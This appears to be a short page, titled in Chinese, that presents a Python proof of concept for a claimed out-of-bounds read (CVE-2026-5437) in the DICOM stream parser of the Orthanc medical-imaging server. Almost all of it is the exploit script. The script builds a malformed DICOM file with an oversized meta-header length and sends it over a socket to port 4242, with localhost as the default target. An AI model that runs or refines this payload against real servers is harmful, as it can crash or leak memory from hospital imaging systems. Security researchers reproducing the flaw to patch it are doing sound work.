CVE-2026-5437 DicomStreamReader越界读取漏洞

import socket # Proof of Concept for CVE-2026-5437 # Attempts to trigger out-of-bounds read in DicomStreamReader # Target: Orthanc Server (Default Port 4242) def generate_malformed_dicom(): # Standard DICOM preamble is 128 null bytes + 'DICM' # We modify the structure to potentially confuse the parser preamble = b'\x00' * 128 prefix = b'DICM' # Malformed meta header length or group length to trigger OOB read # This is a simplified example; actual exploitation requires specific layout malformed_meta = b'\x02\x00\x00\x00' + b'\xFF\xFF\xFF\xFF' return preamble + prefix + malformed_meta def send_exploit(host, port): payload = generate_malformed_dicom() try: print(f"[*] Sending payload to {host}:{port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(payload) s.close() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "127.0.0.1" target_port = 4242 send_exploit(target_host, target_port)